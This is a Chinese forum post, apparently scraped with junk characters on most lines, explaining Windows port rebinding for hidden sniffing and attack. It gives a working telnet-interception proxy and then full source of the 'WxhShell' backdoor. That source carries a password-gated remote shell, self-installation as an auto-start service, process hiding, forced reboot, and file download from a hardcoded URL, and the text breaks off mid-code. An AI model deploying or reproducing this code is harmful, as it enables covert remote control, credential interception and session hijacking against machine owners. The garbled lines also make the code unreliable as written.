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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %6Y}0>gY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 52F3r:Rk  
v[a4d&P  
  saddr.sin_family = AF_INET; 2%MS$Fto  
n:Dr< q .  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /)rv Ndn  
k_Lv\'Ok  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "\M3||.!  
1J&hm[3[K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eEeK ] 8@  
NIC.c3  
  这意味着什么?意味着可以进行如下的攻击: Ju.T.)H  
t~Ic{%bdA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9FF  
:;Npk9P(N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T'N/A9{q  
8Z 0@-8vi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uFOYyrESc  
p#gf^Y5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B;Co`o2  
|]?7r?=J9v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u#3Cst8Y  
qf%p#+:B3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cOP%R_ak?  
e^hI[LbNC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w}x&wWM  
h6D1uM"o   
  #include :} o{<U  
  #include ;]2d%Qt  
  #include #jw%0H;l]  
  #include    |(9l_e|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >a: 6umY  
  int main() ?6:e%YT  
  { -V||1@ |  
  WORD wVersionRequested; .?r} 3Ch  
  DWORD ret; ket"fXqJX  
  WSADATA wsaData; OL623jQX  
  BOOL val; .y#>mXm>  
  SOCKADDR_IN saddr; F4g3l    
  SOCKADDR_IN scaddr; ,go$ 6  
  int err; p{w;y6e  
  SOCKET s; uecjR8\e  
  SOCKET sc; .kDJuJ^  
  int caddsize; bWMb@zm  
  HANDLE mt; gy/bA  
  DWORD tid;   "T6s;'k  
  wVersionRequested = MAKEWORD( 2, 2 ); eak+8URo  
  err = WSAStartup( wVersionRequested, &wsaData ); OC`Mzf%.  
  if ( err != 0 ) { ]?hlpL  
  printf("error!WSAStartup failed!\n"); w-``kID  
  return -1; 8|rlP  
  } 0Y*Ag ,S  
  saddr.sin_family = AF_INET; QQUZneIDp  
   QH6_nZY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V_T~5%9Fy  
+kOXa^K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .Kk'N  
  saddr.sin_port = htons(23); e]smnf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V"|j Dnn5  
  { \-:4TuU  
  printf("error!socket failed!\n"); X1%_a.=VF  
  return -1; YHo*IX')C?  
  } a8Z{-=)  
  val = TRUE; iKgH :[j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =OooTZb:x-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  6Xt c3  
  { ] U[4r9V  
  printf("error!setsockopt failed!\n"); +K"d\<  
  return -1; ngH_p>  
  } 2r#W#z%vS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4NmLbM&C8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DgC;1U'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o1u?H4z  
f.Ms3))  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bH_zWk  
  { h,P#)^"  
  ret=GetLastError(); 'E#Bz"T  
  printf("error!bind failed!\n"); qbQH1<yS<  
  return -1; KoTQc0b!  
  } u/X1v-2  
  listen(s,2); R8fB 8 )  
  while(1) wnbKUlb  
  { R}\n @X*  
  caddsize = sizeof(scaddr); Wj31mV  
  //接受连接请求 ,c[f/sT\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bJ9K!6s??`  
  if(sc!=INVALID_SOCKET) O\)rp!i  
  { NEX{vZkgw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @# &y  
  if(mt==NULL) ,$; pLjo6  
  { u6~/" _FwY  
  printf("Thread Creat Failed!\n"); Y%)@)$sK  
  break; @(LEuYq}  
  } I?%iJ%  
  } $qh?$a  
  CloseHandle(mt); aak[U;rx  
  } +umVl  
  closesocket(s); uY Y{M`  
  WSACleanup(); 44(l1xEN+  
  return 0; jsnk*>j  
  }   RS[>7-9  
  DWORD WINAPI ClientThread(LPVOID lpParam) ".T&nS[z  
  { FTC,{$  
  SOCKET ss = (SOCKET)lpParam; V<G=pPC'H  
  SOCKET sc; B]|"ePj-  
  unsigned char buf[4096]; XKepk? E  
  SOCKADDR_IN saddr; IJV1=/ NJW  
  long num; 8.4+4Vxh   
  DWORD val; OMVK\_oXo  
  DWORD ret; \dw*yZ^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nA>kJSL'$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tgB\;nbB  
  saddr.sin_family = AF_INET; {%Q &CQG_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $d _%7xx  
  saddr.sin_port = htons(23); T`.RP&2/d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @ 80Z@Pj  
  { _0(Bx?[h  
  printf("error!socket failed!\n"); ;OynkZs)  
  return -1; iN+Tig?c  
  } 3G)Wmmh"a  
  val = 100; r^|AiYI)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (R)(%I1Oz  
  { (:2,Rr1"  
  ret = GetLastError(); TwZASn]o  
  return -1; W bW@V_rr  
  } c3$h-M(jVJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b 5X~^L  
  { $Q cr  
  ret = GetLastError(); i-`n5,  
  return -1; N ?mTAF'M  
  } <Fa]k'<^)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1^4z/<ZWm  
  { D-<9kBZs  
  printf("error!socket connect failed!\n"); >u:t2DxE  
  closesocket(sc); v2uyn  
  closesocket(ss); 7jL3mI;n%;  
  return -1; /X_g[*]?  
  } vS{zLXg  
  while(1) ?-`G0(  
  { oSOO5dk:z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s;'j n_,0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~Yw`w 2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "=S< xT+  
  num = recv(ss,buf,4096,0); "X }@VT=  
  if(num>0) hS}d vZa  
  send(sc,buf,num,0); }(/")i4h  
  else if(num==0) &(] @L\A  
  break; ?zD? -  
  num = recv(sc,buf,4096,0); 7z=zJ4C  
  if(num>0) _*SA_.0  
  send(ss,buf,num,0); {{WA=\N8C  
  else if(num==0) 1b,,uI_  
  break; Rt[zZv  
  } .%(Q*ioDh  
  closesocket(ss); "|6#n34  
  closesocket(sc); K38A;=t9  
  return 0 ; q@}eYQ=P|e  
  } 5ZRO{rf  
v~2$9x!9  
q-g3!  
========================================================== LXIQpD,M  
7eh<>X!TX  
下边附上一个代码,,WXhSHELL *P#okwp  
i+2fWi6Z+  
========================================================== $ {iV]Xt  
{q[l4_  
#include "stdafx.h" YM idSfi  
\UdHN=A&  
#include <stdio.h> 8e`'Ox_5a  
#include <string.h> gRk%ObJGqm  
#include <windows.h> QeK@ ++EVc  
#include <winsock2.h> xMAfa>]{n  
#include <winsvc.h> 0jlwL  
#include <urlmon.h> y7;i4::A\  
rHir> p  
#pragma comment (lib, "Ws2_32.lib") vakAl;  
#pragma comment (lib, "urlmon.lib") x2|YrkGv  
N6"b Ox J(  
#define MAX_USER   100 // 最大客户端连接数 GvL)SVv?  
#define BUF_SOCK   200 // sock buffer kIb)I(n  
#define KEY_BUFF   255 // 输入 buffer 0wx lsny?  
oA^aT:o +  
#define REBOOT     0   // 重启 y&HfF~  
#define SHUTDOWN   1   // 关机 7gLN7_2  
+izB(E8&{J  
#define DEF_PORT   5000 // 监听端口 I.f)rMl+h  
[7Yfv Xp  
#define REG_LEN     16   // 注册表键长度 zHI_U\"8D  
#define SVC_LEN     80   // NT服务名长度 y5d=r]_S:  
IA\CBwiLj  
// 从dll定义API &i&k 4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c~@Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eY)JuJ?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U#I 8Rd I,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `CW I%V  
Osb#<9{}  
// wxhshell配置信息 gEVN;G'B<=  
struct WSCFG { {bxTODt@  
  int ws_port;         // 监听端口 wj-=#gyAoo  
  char ws_passstr[REG_LEN]; // 口令 )T-C/ 3  
  int ws_autoins;       // 安装标记, 1=yes 0=no GOT@  
  char ws_regname[REG_LEN]; // 注册表键名 mgIB8D+6  
  char ws_svcname[REG_LEN]; // 服务名 jE /pba4R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3D)gy9T&l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VJK?"mX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  q q%\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {*gO1TZt9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +d7sy0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .AIlv^:|U  
w4m -DR5  
}; &n_aMZ;  
}:5_vH0  
// default Wxhshell configuration hJr cy!P<a  
struct WSCFG wscfg={DEF_PORT, 3?x4+ b  
    "xuhuanlingzhe", [0M2`x4`  
    1, ra="4T$va  
    "Wxhshell", gnW]5#c@  
    "Wxhshell", D(EY"s37  
            "WxhShell Service", V-#OiMWa~  
    "Wrsky Windows CmdShell Service", aR3R,6ec  
    "Please Input Your Password: ", ^ :%"Z&  
  1, o5!"dxR  
  "http://www.wrsky.com/wxhshell.exe", ^Z?X\t  
  "Wxhshell.exe" /%El0X  
    }; 'z'q)vcr  
pF)}<<C  
// 消息定义模块 8Iz-YG~%3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wz!a;]agg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~]+-<O^U~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tVSURYA8  
char *msg_ws_ext="\n\rExit."; mcbr3P  
char *msg_ws_end="\n\rQuit."; / v";u)  
char *msg_ws_boot="\n\rReboot..."; 5|&:l8=  
char *msg_ws_poff="\n\rShutdown..."; [x`trypg  
char *msg_ws_down="\n\rSave to "; oSmv  (O  
PV_E3,RY  
char *msg_ws_err="\n\rErr!"; <SiD m-=E  
char *msg_ws_ok="\n\rOK!"; 6XVr-ef  
deD%E-Ja  
char ExeFile[MAX_PATH]; HK@LA3  
int nUser = 0; v&BKl  
HANDLE handles[MAX_USER]; z93HTy9  
int OsIsNt; ZTCzD8  
PUMh#^g}  
SERVICE_STATUS       serviceStatus; HOWm""IkB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z tS P4lW  
"qEi$a&]  
// 函数声明 mL\j^q,Y  
int Install(void); %bM^/7  
int Uninstall(void); em^|E73  
int DownloadFile(char *sURL, SOCKET wsh); D`nW9i7  
int Boot(int flag); dXAKk[uf  
void HideProc(void); d/Q}I[J.u  
int GetOsVer(void); //c<p  
int Wxhshell(SOCKET wsl); Qr`WPTQr"  
void TalkWithClient(void *cs); */=5m]  
int CmdShell(SOCKET sock); # 2As-9  
int StartFromService(void); EJ$-  
int StartWxhshell(LPSTR lpCmdLine); ^;J@]&[ ~  
m'Jk!eo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z^s40707x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #UR4I2t*  
AJ'YkSg  
// 数据结构和表定义 &3x \wH/_  
SERVICE_TABLE_ENTRY DispatchTable[] = 8 *@knkJ  
{ V K/;ohTTP  
{wscfg.ws_svcname, NTServiceMain}, *9"L?S(X#  
{NULL, NULL} Lod$&k@@  
}; nSH A,c  
Dq/ _#&S  
// 自我安装 d*%-r2K  
int Install(void) |yE_M-Nc  
{ ?b',kN,(  
  char svExeFile[MAX_PATH]; zz ^2/l  
  HKEY key; GO@pwq<  
  strcpy(svExeFile,ExeFile); f =H,BQ  
j%%l$i~  
// 如果是win9x系统,修改注册表设为自启动 $y !k)"k  
if(!OsIsNt) { 0sjw`<ic  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,BM6s,\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4l! ^"=rh  
  RegCloseKey(key); nQ\ +Za==  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fs q=u-= :  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zx7*Bnu0  
  RegCloseKey(key); zh5{t0E}C  
  return 0; rvT7 5dV0  
    } D:Zpls.  
  } *&X.  
} 'T54k  
else { 8+Lig  
6x\+j  
// 如果是NT以上系统,安装为系统服务 uHdrHP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /p~Wk4'  
if (schSCManager!=0) &wj;:f  
{ l" y==y  
  SC_HANDLE schService = CreateService XAuB.)|  
  ( ]Xcqf9k  
  schSCManager, l 6wX18~XJ  
  wscfg.ws_svcname, t0Q/vp*/  
  wscfg.ws_svcdisp, J-lQPMI,  
  SERVICE_ALL_ACCESS, ZOl =zn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zR)|%[sWwQ  
  SERVICE_AUTO_START, h tbN7B(  
  SERVICE_ERROR_NORMAL, 8ID fYJ  
  svExeFile, xw-x<7  
  NULL, %-@`|  
  NULL, 7*5$=z4,1  
  NULL, ^.Y"<oZSS  
  NULL, )f4D2c&VE  
  NULL }'{39vc .  
  ); hvu>P {  
  if (schService!=0) :<d\//5<9  
  {  $3](6  
  CloseServiceHandle(schService); 2U,O e9  
  CloseServiceHandle(schSCManager); m3]|I(]`Xe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +~J?/  
  strcat(svExeFile,wscfg.ws_svcname); ,)A^3Q*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5J1A|qII  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tx;DMxN!W  
  RegCloseKey(key); H<|I&nV  
  return 0; .E|Hk,c9  
    } 1E!0N`E  
  } *W q{ :k  
  CloseServiceHandle(schSCManager); h+|3\>/@9{  
} -bSe=09;S|  
} ~I6Er6$C^  
%7BVJJp2  
return 1; Iw~3y{\  
} +v%V1lf^~  
kNfqdCF{P  
// 自我卸载 POTW+Zq]  
int Uninstall(void) .['@:}$1  
{ pmXx2T#=  
  HKEY key; qOz,iR?}  
'X{cDdS^  
if(!OsIsNt) { PPT"?lt*&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E!'H,#"P  
  RegDeleteValue(key,wscfg.ws_regname); $enh>!mU  
  RegCloseKey(key); 7\ d{F)7E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _GK^7}u  
  RegDeleteValue(key,wscfg.ws_regname); Ay<'Z6`  
  RegCloseKey(key); %[4/UD=7  
  return 0; eN{[T PPCq  
  } W<TW6_*e  
} R3F>"(P@tS  
} %JDG aG'  
else { "+s#!Fh *  
`(1em%}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); evPr~_  
if (schSCManager!=0) B{!)GZ(}  
{ "|`8mNC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =25q Y"Mf  
  if (schService!=0) &oiX/UaY  
  { _:0<]<x?  
  if(DeleteService(schService)!=0) { exV6&bdu  
  CloseServiceHandle(schService); 1Nw&Z0MI  
  CloseServiceHandle(schSCManager); RH ow%2D  
  return 0; *x[B g]/  
  } &/R@cS6}'  
  CloseServiceHandle(schService); )7=B]{B_  
  } wNDLN`,^H  
  CloseServiceHandle(schSCManager); BDxrSq,H  
} >yUThhJRn  
} ?AP2Opsl  
0t5>'GYX  
return 1; sF]v$ kq  
} &T]+g8''  
Gk,{{:M:5  
// 从指定url下载文件 shxr^   
int DownloadFile(char *sURL, SOCKET wsh) !798%T  
{ '*!R gbj;  
  HRESULT hr; >OE.6)'Rm  
char seps[]= "/"; 64s+ 0}  
char *token; =nFT0];  
char *file; m0]LY-t  
char myURL[MAX_PATH]; BzF.KCScs  
char myFILE[MAX_PATH]; R%aH{UhE`  
cLr? B;FS  
strcpy(myURL,sURL); MGc=TQ.  
  token=strtok(myURL,seps); x@DXW(  
  while(token!=NULL) }Bc'(2A;,  
  { P)1@HDN==  
    file=token; -/x +M-X#  
  token=strtok(NULL,seps); z$7YC49^  
  } dadOjl)S)  
t8i"f L  
GetCurrentDirectory(MAX_PATH,myFILE); ZhxMA*fL  
strcat(myFILE, "\\"); hNDhee`%6  
strcat(myFILE, file); <kLY1 EILM  
  send(wsh,myFILE,strlen(myFILE),0); :m#vvH  
send(wsh,"...",3,0); IL.Jx:(0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,Lv} Xku  
  if(hr==S_OK) cnLC>_hY  
return 0; 32~Tf,  
else 1Dt"Rcn"4  
return 1; KG>.7xVWV7  
3Xd+>'H  
} W3<O+S&  
QMtt:f]?i  
// 系统电源模块 > 7;JZuVo  
int Boot(int flag) .Z_U]_(  
{ .&sguAyG  
  HANDLE hToken; * uEU9fX  
  TOKEN_PRIVILEGES tkp; "VT5WFj  
_ <>+Dk&  
  if(OsIsNt) { {q}: w{x9u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2CmeO&(Qf*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ="A[*:h C"  
    tkp.PrivilegeCount = 1; 6:B5PJq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2$\f !6p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dtF6IdAf  
if(flag==REBOOT) { ]ei] ) JI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lvp/} /H/  
  return 0; mceSUKI;L  
} V >['~|  
else { Ev^Xs6 }"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rw/G =zV@2  
  return 0; s &.Z;X  
} U!e4_JBR'  
  } &Mc mA  
  else {  R(zsn;  
if(flag==REBOOT) { Yt#($}p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #5H@/o8!s=  
  return 0; VqbiZOZ@  
} M}nalr+#  
else { RU{}qPs?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &a|oJ'clz  
  return 0; 5=?&q 'i  
} t&&OhHK  
} hV,3xrm?P  
TgUQD(d^  
return 1; cYp}$  
} 9 V"j=1B}  
I}q-J~s  
// win9x进程隐藏模块 ;T_9;RU<'b  
void HideProc(void) jNyC%$  
{ %/^d]#  
jqLyX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (8*lLZ  
  if ( hKernel != NULL ) 6 %=BYDF  
  { $?s^HKF~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \ bhok   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5^Y/RS i  
    FreeLibrary(hKernel); G !~BA*  
  } Z\L@5.*ydE  
|-mazvA  
return; N:<O  
} 9?:S:Sq  
6a@~;!GlI  
// 获取操作系统版本 ,YY#ed&l  
int GetOsVer(void) wY95|QS  
{ [v`4OQF/  
  OSVERSIONINFO winfo; zb" hy"hKw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /'1y`j<  
  GetVersionEx(&winfo); moR]{2Cd{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /OP*ARoC21  
  return 1; Q*8-d9C  
  else A1q^E(}O  
  return 0; LnDj   
} M BT-L  
</X"*G't  
// 客户端句柄模块 6ZR0_v;TD  
int Wxhshell(SOCKET wsl)  (2li:1j  
{ k~R[5W|'  
  SOCKET wsh;  SoX V  
  struct sockaddr_in client; 2UF94  
  DWORD myID; @>]3xHE6#=  
~D5MAEazS  
  while(nUser<MAX_USER) 9qDGxW '1  
{ Dkb&/k:)  
  int nSize=sizeof(client); bw\=F_>L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (Pd>*G\  
  if(wsh==INVALID_SOCKET) return 1; zl\#n:|  
&[RU.Q!_H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8:% R |b  
if(handles[nUser]==0) /6zpVkV  
  closesocket(wsh); t {"iIz_S  
else Elp!,(+&6  
  nUser++; BcLt95;.\  
  } F 29AjW86  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1%"` =$q%  
_zh5KP[{  
  return 0; ku?_/-ko]  
} ]e.+u  
md"%S-a_dT  
// 关闭 socket QZr<=}   
void CloseIt(SOCKET wsh) 9C;Y5E~'L  
{ uw=Ube(  
closesocket(wsh); ?vFh)U  
nUser--; k_>{"Rc  
ExitThread(0); f'OvG@  
} pXv[]v  
%KF:- w  
// 客户端请求句柄 h<;[P?z  
void TalkWithClient(void *cs) ap^=CEf   
{ 5V~p@vCx  
A=UIN!  
  SOCKET wsh=(SOCKET)cs; Fz&ilB  
  char pwd[SVC_LEN]; 0@lC5-=  
  char cmd[KEY_BUFF]; &|}IBu:T  
char chr[1]; L_"(A #H:  
int i,j; T''+zk  
Ts .Z l{B  
  while (nUser < MAX_USER) { j7#GqVS'  
i@5%d!J  
if(wscfg.ws_passstr) { /\cu!yiX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oh~ vo!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _a$DY ,;  
  //ZeroMemory(pwd,KEY_BUFF); I&8SP$S>J  
      i=0; 2j7d$y*'  
  while(i<SVC_LEN) { %J7mZB9  
v8bl-9DQ  
  // 设置超时 xsDa!  
  fd_set FdRead; <C%-IZv$  
  struct timeval TimeOut; Tki/ d\!+  
  FD_ZERO(&FdRead); ~88 Tz+  
  FD_SET(wsh,&FdRead); %8CT -mQ  
  TimeOut.tv_sec=8;  \t# 9zn>  
  TimeOut.tv_usec=0; G.nftp(*}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5w)^~#  '  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QX.6~*m1  
=veOVv[Q&/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k(z<Bm  
  pwd=chr[0]; xg,]M/J  
  if(chr[0]==0xd || chr[0]==0xa) { NK9WrUj)  
  pwd=0; |4. o$*0Y  
  break; gkML .u  
  } ](>7h _2B  
  i++; Xm:=jQn  
    } 5A$az03y$\  
$;uWj|  
  // 如果是非法用户,关闭 socket ;[%}Xx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }u_EXP8M  
} Pgw%SMEp  
cJ##K/es  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k> &s( b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P!+nZXo  
A?D"j7JD=L  
while(1) { e=o{Zo?H=  
mERrcYY{  
  ZeroMemory(cmd,KEY_BUFF); h2"|tTm,a  
%C`'>,t>  
      // 自动支持客户端 telnet标准   O {6gNR,*  
  j=0; Eqmv`Z [_  
  while(j<KEY_BUFF) { ?ey&Un"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MAe<.DHY  
  cmd[j]=chr[0]; `x$}~rP&)!  
  if(chr[0]==0xa || chr[0]==0xd) { 'CX.qxF1;p  
  cmd[j]=0;  n22hVw  
  break; xcZ%,7  
  } M&djw`B  
  j++; s>@#9psm  
    } 2Cd --W+=  
6"Lsui??  
  // 下载文件 ?FV7|)f  
  if(strstr(cmd,"http://")) { dD^_^'i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j&[.2PW\  
  if(DownloadFile(cmd,wsh)) u1) TG "+0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W]D`f8r9  
  else {nPkb5xbW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u@bOEcxK  
  } a|P~LMPM  
  else { B2G5h baA  
Z0"&  
    switch(cmd[0]) { ,/?%y\:J  
  "T{~,'T  
  // 帮助 adO!Gs9f?  
  case '?': { h76NR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dl zmAN  
    break; Sz|Y$,  
  } 8 5%Pq:E  
  // 安装 W?^8/1U  
  case 'i': { qXB03}] G  
    if(Install()) >2lAy:B5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F8S~wW=\w  
    else ,dZ#,<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^%oG8z,L  
    break; ,"N3k(g  
    } W"-EC`nP  
  // 卸载 (I7&8$Zl  
  case 'r': { DO1 JPeIi  
    if(Uninstall()) xMSNrOc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yL ;o{ G  
    else V5yxQb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vfJ3idvo*w  
    break; oDW<e'Jm  
    } g]Xzio&w  
  // 显示 wxhshell 所在路径 68p\WheCal  
  case 'p': {  Qh|-a@  
    char svExeFile[MAX_PATH]; yZ;k@t_WRD  
    strcpy(svExeFile,"\n\r"); `rz`3:ZH  
      strcat(svExeFile,ExeFile); CRc!|?  
        send(wsh,svExeFile,strlen(svExeFile),0); xH"W}-#[  
    break; ?GUz?'d  
    } Ez/\bE  
  // 重启 N &I8nZ9  
  case 'b': { S2'`|uI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |5O >>a()  
    if(Boot(REBOOT)) Et}C`vZ+Ve  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lPRdwg-  
    else { h;EwkbDQg>  
    closesocket(wsh); t,=@hs hN  
    ExitThread(0); r,u<y_YW  
    } 28T\@zi  
    break;  NVO9XK  
    } Jt-X mGULB  
  // 关机 [GR]!\!%~  
